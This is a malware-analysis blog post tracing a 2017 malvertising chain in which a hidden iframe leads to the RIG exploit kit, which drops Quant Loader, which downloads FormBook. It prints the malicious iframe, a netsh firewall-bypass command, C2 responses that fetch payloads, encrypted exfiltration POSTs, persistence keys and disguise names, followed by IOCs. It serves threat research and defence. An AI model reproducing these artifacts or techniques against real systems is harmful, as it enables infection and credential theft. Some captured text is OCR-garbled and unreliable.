Malvertising Campaign Uses RIG EK to Drop Quant Loader which Downloads FormBook.

malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloadsformbook/

October 10, 2017

A couple days ago I came across an unusual looking request for a RIG EK landing page. The log showed the referer to be coming from a site called pay-scale[.]us:



Looking through the logs surrounding the event I could see that the user visited a shady site using the .ac ccTLD. Traffic estimates showed that this site received 500K visitors over the last 30 days. When I was researching the site, I was redirected via malicious ad traffic to tech support scams. This leads me to believe the initial referer was from malvertising. The malvert likely redirected the host to pay-scale[.]us via a 3XX status code.

Examining the page source for pay-scale[.]us shows the website was mirrored from usmotors[.]com using HTTrack Website Copier:



Looking a little farther down the page we can see how the user got redirected to RIG EK from pay-scale[.]us:

[] htt	🗧 http://pay-scale.us/ - Original Source							
File Edit Format								
	8PZPIcCenxgoOnuuYRRHeY2eE0yiaNnSoOyK26Yah8640b" />	-						
146								
147	<iframe frameborder="0" height="0" src="http://medical-help.top/F4tZ8S" width="0"></iframe>							
148	<script type="text/javascript"></script>							

The domain in the hidden iframe, medical-help[.]top, resolves to 91.92.136.170.

Looking at the Whois information shows these domains were registered using the name "Terry Kornfeld" and email address morganaanna7@gmail.com. Searching for all domains registered using that name and/or email address returned the following:

Domain	Registered
i-yourdoctor[.]top	10/8/2017
highqualitywebhelp[.]top	10/8/2017
filmsdays[.]top	10/4/2017
photosetty[.]us	10/2/2017
pay-scale[.]us	10/1/2017
madicalcareme[.]top	9/19/2017
mymedicalcare[.]us	9/17/2017
photo24[.]top	9/9/2017
medical-help[.]top	9/9/2017

These sites should be considered malicious. Additionally, some of them are being used for C2 activities. More on that later.

Below is the GET request that was generated due to the hidden iframe on pay-scale[.]us:



The server returns a 302 Found with a location containing the RIG EK landing page URL.

Further examination of the infrastructure being used in this campaign show that the threat actor(s) are utilizing Keitaro TDS:

e Welcome! - Internet Explorer			_0×
C) ▼ [6]	P 🚽 👉 🥝 Welcomet	×	♠ ☆ @
	Welcome!		
	Password		
	Sign in		
Свход в систему - Internet Explorer			
	D 5 60 Вход в систему	×	⊕ ☆ ☺
	Вход в систему Логин Пароль Войти		

Below is an image of the HTTP traffic captured during this infection chain:

Destination IP	Dat Port	Host/Domain/Subdomain	n de la companya de la company
212.75.150.215	80	pay-scale.us	et / HTTP/1.1
91.92.136.170	89	medical-help.top	ET /F4t285 HTTP/1.1
176.57.217.78	88	176.57.217.78	ET /PHTYINTcz&gizmos-xXxQMvWdbXXQDp3EKv_cT6NEMMRHBCL2Y2dmrHTefjaeFWkzrDFTF_wozKATw666_8tdf3&monks=RDVbil853K4RomN12Ug0xPviu3UCDnxOY1pTk_kNPwBW8puXEvRp2VvzyLAkQPsig1TH621&nuts=NTLNIzA1 HTTP/1.1
176.57.217.78	89	176.57.217.78	ET / MiccX0TE3&gizmos+xHzQHTYb&rFFYHfKPjEUKdENUzWAR0KWVzhmrVF5yxFDPSpbb1FX7spVEdCFiEmv3vdLcHEWGhLUHASvY&monks+0n48HV1hA_qiq3ULVHb02820CrhHbNwtAq28HQRA02F6nnLHdec6h1RPQ72RWy-stVFgR4wETnav7Va50-v&nuts+NTQ3OTkw HTTP/1.1
176.57.217.78	88	176.57.217.78	ET /?NDAxhfjIS&works=n4whISA_qqq3UPvwhS202UCrhHolw0Aq2CWQLVo2FinnLQdeckh1RTQ72Viy-stVrKY4ggTwK301quU7Unz&gizmos=whVgMrXYbkvFFYHfKP7EUKFEnU7NA#wWv2ZhazVF5+xFDX6pbb1FxjspV6dCF6EwJvdUrHIWch1UbASwY0&ruts=HzI0NTIS_HTTP/1.1
176.57.217.78	88	176.57.217.78	ET /ht/AxXDIy&gizmos=xXrQMAW/bRXQC33EKv7c16WWAMRHECL2YqdmrHTefjamTWkzrDTTF_2ozKASQS06_Btdf35DV&monks=bijx53KABcmWLfUgdAPfiu3UKDnx0Z1pTW-UwNFwkkRpuWzWJZKcswjxxbB6lENjOke&nuts=NjAyOTE3 HTTP/1.1
85.217.170.186	88	filmsdays.top	ET /q/index.php?id=&c=1&mk=8df751&11=+8wr=1.50&bt=32 HTTP/1.1
85.217.170.186	88	filmsdwys.top	ET /q/index.php?id= &c=l&ek=Edf751&il=H&v=1.50&bt=32 HTTP/1.1
212.73.150.215	89	motorsus.us	ET /f0.exe HTTP/1.1
85.217.170.186	88	filmsdays.top	ET /q/index.php?id= &c=2&ek=8df751&i1=H&vr=1.50&bt=32 HTTP/1.1
85.217.170.186	89	filmsdays.top	ET /g/index.php?id= &c=38#k=8df751&i1=H&vr=1.59&bt=32 HTTP/1.1
85.217.170.186	88	filmsdays.top	ET /q/index.php?id= &c=4&mk=8df751&i1=H≀=1.50&bt=32 HTTP/1.1
85.217.170.186	88	filmsdays.top	TT /q/index.php?id= &c=S&ek=Edf751&i1=H&vr=1.50&bt=32 HTTP/1.1
85.217.170.186	88	filmsdays.top	ET /q/index.php?id= &c=S8mk=8df7518i1=+Msvr=1.508bt=32 HTTP/1.1
85.217.170.186	88	filmsdays.top	ET /q/index.php?id=&c=s&ek=Edf751&il=n&vr=1.58&bt=32 HTTP/1.1
169.239.128.162	88	www.basefilm.top	ET /tesla/shell123/config.php?id= HTTP/1.1 Continuation

RIG EK dropped two identical Quant Loader payloads in %TEMP%:



When Quant Loader was executed it copied itself to %APPDATA%[uid]svchost.exe:

Normal States (C:) + Users + Win7 32bit + AppData + Roaming +		5earch		
Organize 👻 Include in librar	y 👻 Share with 👻 New folder				
🗐 Recent Places 📃	Name 🔶	Date modified	Туре	Size	
Libraries Documents Music Pictures Videos	■ svchost.exe	10/9/2017 1:44 PM	Application	165 KB	

[uid] is the eight-digit unique ID generated for the infected host. <u>Forcepoint</u> shows how the unique ID is generated:

- 1. Obtain the Windows GUID value from HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCryptography
- 2. Extract only the number values, no letters or dashes
- 3. Copy 8 of the numbers, beginning with the 5th number

The malware then re-launches itself under "svchost.exe" and creates file "C:Users[Username]AppDataLocalTempper". The following processes and actions were recorded:

- 1. svchost.exe creates process regini.exe
- 2. regini.exe reads data from file %TEMP%per
- 3. svchost.exe deletes file %TEMP%per
- svchost.exe sets AutoStart registry key "HKCUSoftwareMicrosoftWindowsCurrentVersionRunQt"

🕵 Registry Editor					_ D ×			
File Edit View Favorites	Help							
💽 🕴 👘 🦓	MCT 🔺	Name	Туре	Data				
•	Policies	(Default)	REG_SZ	(value not set)				
IIIIIIIIII-	RADAR	ab Qt	REG_SZ	c:\users\win7 32bit\appdata\roaming\\svchost.exe				
IIIIIIIIIII	Run							
IIIIIIIIIII	RunOnce							
L	Screensavers	ļ						
Computer/HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run								

Quant Loader also modifies Windows Firewall to allow outbound communications using the command:

```
netsh.exe advfirewall firewall add rule "name=Quant"
"program=c:usersappdata[uid]svchost.exe" dir=Out action=allow
```

💣 Windows Firewall with Advanced Security							_ 🗆 🗵
File Action View Help							
🗢 🔿 🗾 🕞 🛛 🖬							
Windows Firewall with Advance Outbound Rules						Actions	
Inbound Rules Name	Profile	Enabled	Action	Program		Outbound Rules	-
Connection Security Rules	All	Yes	Allow	c:\users\win7 32bit\appdata\roaming\	\svchost.exe	Colorial Terror	
The Monitoring Count	All	Yes	Allow	c:\users\win7 32bit\appdata\roaming\	(svchost.exe 💌	Selected Items	
]		<u> </u>	

I found post-infection traffic to the C2 at filmsdays[.]top/q/, which was registered by "Terry Kornfeld" using the email address morganaanna7@gmail.com:



HTTP/1.1 200 OK Date: Mon, 09 Oct 2017 20:47:10 GMT Server: Apache/2.4.10 (Debian) Content-Length: 38 Content-Type: text/html; charset=UTF-8

```
0000000exe=http://motorsus.us/fb.exe;
```

- id = the unique ID of the infected host
- c = the current index of the server being used
- mk = string likely used as an affiliate of campaign ID
- il = Haven't confirmed
- vr = Haven't confirmed but could be version number

• bt = Haven't confirmed but could be x86 or x64

Below is an example of the Quant Loader C2 TCP connections captured during my infection:

Remote Address: 85.217.170.186 Remote Host Name: t.co Remote Port: 80 Process Name: svchost.exe Process Path: C:UsersWin7 32bitappdataroaming[uid]svchost.exe Remote IP Country: Bulgaria

Remote Address: 212.73.150.215 Remote Host Name: v22597.vps.ag Remote Port: 80 Process Name: svchost.exe Process Path: C:UsersWin7 32bitappdataroaming[uid]svchost.exe Remote IP Country: Bulgaria

In my infection the first server (c=1) responded with the location of follow-up malware located at motorsus[.]us/fb.exe.

Motorsus[.]us appears to be under control of the same threat actor(s). The name and email used to register this domain is "Lee M Clark" and john.benjack@mailfence.com. Below is a list of current domains using that registrant information.

Domain	Registered
motorsus.us	10/1/2017
seechicagodance.us	10/1/2017

This payload is dropped in %TEMP% and executed.

퉬 Temp									
🕞 🌍 🗸 📕 🔹 Local Disk (C:) 🔹 Users 🔹 Win7 32bit 🔹 AppData 🔹 Local 🔹 Temp 🔹 😰 Search Temp									
Organize ▼ 💼 Open Share with ▼ New folder									
🚖 Favorites	Name *	Date modified	Туре	Size					
🧮 Desktop	🏽 134713.exe	10/9/2017 1:47 PM	Application	444 KB					
Downloads	🔜 💷 bilonebilo153.exe	10/9/2017 1:41 PM	Application	165 KB					
🕍 Recent Places	🗾 bilonebilo417.exe	10/9/2017 1:41 PM	Application	165 KB					
🚍 Libraries	FXSAPIDebugLogFile.txt	9/19/2016 11:27 PM	Text Document	0 KB					
Documents	▼ 032.tmp	10/9/2017 1:41 PM	TMP File	2 KB					

The malware being downloaded by Quant Loader was identified as FormBook by my friend <u>@Antelox</u>.

FormBook, once executed, copied itself (it was hidden) to %USERPROFILE%:

📙 Win7 32bit					_	
🌀 🕘 🗸 🕨 🗸 Computer	· ▼ Local Disk (C:) ▼ Users ▼ Win7 32bit ▼	•	Search Win7 32bit			۶
Organize 👻 📷 Open S	ihare with 🔻 New folder					?
쑭 Favorites	Name *	Date modified	Туре	Size		
🧮 Desktop	🔓 AppData	9/19/2016 11:26 PM	File folder			
鷆 Downloads	Contacts	12/8/2016 10:43 PM	File folder			
🗐 Recent Places	Desktop	10/9/2017 1:58 PM	File folder			
E tikusuise	📜 Downloads	4/10/2017 12:07 AM	File folder			
Documents	👺 Favorites	12/8/2016 10:43 PM	File folder			
	🚺 Links	12/8/2016 10:43 PM	File folder			
E Pictures	I My Documents	12/8/2016 10:43 PM	File folder			
🔣 Videos	🜗 My Music	12/8/2016 10:43 PM	File folder			
	📄 My Pictures	12/8/2016 10:43 PM	File folder			
🖳 Computer	📑 My Videos	12/8/2016 10:43 PM	File folder			
📬 Network	🕞 Saved Games	12/8/2016 10:43 PM	File folder			
THOMM	📝 Searches	12/8/2016 10:43 PM	File folder			
	🌉 mfcgn2pl.exe	10/9/2017 1:53 PM	Application	444 KB		
	NTUSER.DAT	10/9/2017 2:07 PM	DAT File	768 KB		
	ntuser.dat.LOG1	10/9/2017 2:07 PM	LOG1 File	256 KB		
	ntuser.dat.LOG2	9/19/2016 11:26 PM	LOG2 File	0 KB		
	NTUSER.DAT{6cced2f1-6e01-11de-8bed-00	12/8/2016 10:39 PM	BLF File	64 KB		
	NTUSER.DAT{6cced2f1-6e01-11de-8bed-00	12/8/2016 10:39 PM	REGTRANS-MS File	512 KB		
	NTUSER.DAT{6cced2f1-6e01-11de-8bed-00	12/8/2016 10:39 PM	REGTRANS-MS File	512 KB		
	🐑 ntuser.ini	9/19/2016 11:26 PM	Configuration settings	1 KB		
20 items						

The malware was renamed to **mfc**gn2pl.exe.

According to <u>FireEye</u>, it can also use the following prefixes for its name:

- ms
- mfc
- win
- gdi
- vga
- igfx
- user
- help
- config
- update
- regsvc
- chkdsk
- systray

- audiodg
- certmgr
- autochk
- taskhost
- colorcpl
- services
- IconCache
- ThumbCache
- Cookies

It can also use the following file extensions:

- .exe
- .com
- .scr
- .pif
- .cmd
- .bat

If it is running with normal privileges it is copied to one the following directories:

- %USERPROFILE%
- %APPDATA%
- %TEMP%

Here is another image showing another copy called Cookiescz7x.cmd being created in %APPDATA%:



If it is running with elevated privileges it copies itself to one of the following directories:

- %ProgramFiles%
- %CommonProgramFiles%

In my infection I found it configuring persistence to HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun:

6	넓' Registry Editor									
F	ile E	dit	View	Favorites	Help					
Г					PropertySystem	<u>م</u>	Name	Туре	Data	
L.				• • • • • • • • • • • • • • • • • • •	Reliability		(Default)	REG_SZ	(value not set)	
L.				• • • • • • • • • • • • • • • • • • •	RenameFiles		ab igfxOX	REG_SZ	C:\Users\Win7 32bit\mfcgn2pl.exe	
L.				· · · · · · · · · · · · · · · · · · ·	Run	_	ab SunJavaUpdateS	REG SZ	"C:\Program Files\Common Files\Java\Java Update\jusched.exe"	
L.				· · · · · · · · · · · · · · · · · · ·	RunOnce	-	~	-		
L					SettingSync	<u> </u>	J			
C	Computer(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run //									

However, depending on its privileges, it can also use the following locations for persistence:

- HKCUSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
- HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
- HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun

FormBook was beaconing to basefilm[.]top/tesla/shell123/config.php.

Basefilm[.]top is registered to "Shirhall Shirhall" and is using the registrant email address annacrown44@gmail.com.

I captured the following GET requests:



The malware also uses HTTP POST requests to send data back to basefilm[.]top/tesla/shell123/config.php:

```
POST /tesla/shell123/config.php HTTP/1.1
Host: www.basefilm.top
Connertion: close
Content-Length: 521
Cache-Control: no-cache
Origin: http://www.basefilm.top
User-Agent: Mozilla/S.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.basefilm.top/tesla/shell123/config.php
Accept-Encoding: gzip, deflate
dat=RndUb3OhYkIY8pZupOAa7qc4wfqL6MRIevdYN20Wg2IHTPHC5je8ij2whRyqKMANkVGNo1sc-52IHnKKTwJ5jHyi6FqF2Y-MUWGIh01sKINExTGPjEd60gnikKaAKICh-
SGMblg0tfyRc5V33Hh0dIZiezAy9nsFV1ks23to2B5TaxRnnBpGQ1sJ218xDImzTngFVnPECI_oV37ffCdor_IeYr6Is1y65FJpaHhl8c_fyvoU3649EJu5xxgRpSCrVQPHFA7qbss88fTvDwFHosTWA18QPINLpb-
Lc7gka_VC8Q0WF559JxHKr16G2WieSe9KYKLgEReKFKSKFKH78B5QUAABHuquInObbL2jqupBR7FuUZ2R_zlTcoGdSQq0oSnX4oOfDZaFOtxn5FSye0MXvx2BWPxrcX_Ex0eXdxjegUhSMRNQpJ3889ikxEKDPRE-
Xcb4j36ZtgfErl7ytm7Ltgqu0i_plw..&un=V2LuHyAzMmJpdA==&br=0.HTTP/1.1 200 0K
Server: nginx
Date: Mon, 09 Oct 2017 21:14:08 GMT
Content-Type: text/html; charset=utf-8
Content-iength: 0
ConnetLongth: 0
```

According to FireEye, these messages to the C2 are RC4 encrypted and Base64 encoded.

FireEye also mentions that FormBook will use "function hooks to log keystrokes, steal clipboard data, and extract authentication information from browser HTTP sessions."

For keystrokes captured during a browsing session with Internet Explorer it created the following file:

퉬 JQ18T541						- D ×					
🌀 🕞 🗸 Local Disk (C:) + Users + Win7 32bit + AppData + Roaming + JQ18T541 🛛 + 🚱 Search JQ18T541											
Organize 👻 🧻 Open 👻 Share with 👻 Print New folder											
Documents		Name *	Date modified	Туре	Size						
🚽 Music 📄 Pictures 🚼 Videos		👸 JQ1log.ini	10/9/2017 1:53 PM	Configuration settings	0 KB						
🐏 Computer	•										

%APPDATA%JQ18T541JQ1log.ini

You can see my HTTP sessions and keystrokes being captured in the .ini file:



Quick note. My friend <u>@Antelox</u> examined the FormBook sample and discovered that it downloaded ZeuS Panda with web injects for PayPal, eBay, Amazon, and BoQ (Bank of Queensland). The ZeuS sample can be viewed below:

https://www.virustotal.com/en/file/e4474970dd8d2f9e4a3d4a0fa06d82f8d6c2af49737d6cb2e 5db6a388aa930ba/analysis/

Network Based IOCs

- 212.73.150.215 pay-scale[.]us Malicious dummy site
- 91.92.136.170 medical-help[.]top Redirected to RIG EK
- 176.57.217.78 IP literal hostname used by RIG EK
- 85.217.170.186 filmsdays[.]top GET /q/index.php Quant Loader C2
- 212.73.150.215 motorsus[.]us GET /fb.exe GET for FormBook
- 169.239.128.162 basefilm[.]top GET and POST /tesla/shell123/config.php FormBook beacon and C2

DNS queries for kinnomanna.top:

```
Standard guery 0x6324 A filmsdays.top
Standard query 0x2ba2 A filmsdays.top
Standard query response 0x6324 A filmsdays.top A 85.217.170.186
Standard guery response 0x2ba2 A filmsdays.top A 85.217.170.186
Standard guery 0x001b A motorsus.us
Standard guery 0x7b45 A kinnomanna.top
Standard guery response 0x001b A motorsus.us A 212.73.150.215
Standard query response 0x7b45 No such name A kinnomanna.top SOA a.zdnscloud.com
Standard query 0xd545 A kinofilmone.top
Standard query response 0xd545 No such name A kinofilmone.top SOA a.zdnscloud.com
Standard query 0x4c53 A kinnomanna.top
Standard query response 0x4c53 No such name A kinnomanna.top SOA a.zdnscloud.com
Standard guery 0xa128 A kinofilmone.top
Standard query response 0xa128 No such name A kinofilmone.top SOA a.zdnscloud.com
Standard query 0x42f4 A www.basefilm.top
Standard guery response 0x42f4 A www.basefilm.top A 169.239.128.162
Standard query 0x53d2 A kinnomanna.top
Standard query response 0x53d2 No such name A kinnomanna.top SOA a.zdnscloud.com
```

Hashes

SHA256: <u>c10c659498c3bd5ed8454c0041739db7d324ddd09126c16ea229ab30e9232de4</u> File name: RigEK landing page.txt

SHA256: <u>b5dc599319b6f0968db9318e3d5dbbd6939c4d7b879e45269210a5878b7551a4</u> File name: RigEK Flash exploit.swf

SHA256: <u>22aba6be7e754e7163e8adb72f7235ad97ff411a29c98444ddacc24bd04cdc34</u> File name: o32.tmp

SHA256: <u>8e94bd154dbea3d020cce1e216f4a327d0ddf65737847ffed34113bf3fdb22dd</u> File name: bilonebilo417.exe <u>Hybrid-Analysis Report</u>

SHA256: <u>2f74f8518bd14a882a870f3794a76dba381b59c1e40247a2483468959b572d82</u> File name: fb.exe <u>Hybrid-Analysis Report</u>

SHA256: <u>0fa6898d426a6176ff7673d2d5336879d418f5be2714605eb32985626f508357</u> File name: 05110.exe <u>Hybrid-Analysis Report</u>

SHA256: <u>72a4b137b02b0ef45f5013b88228132081cff1ecfeccecae5e70069bf38c5ba0</u> File name: 15838.exe Hybrid-Analysis Report

Downloads Malicious Artifacts

Password is "infected"

References:

- 1. <u>https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground</u>
- 2. <u>https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html</u>



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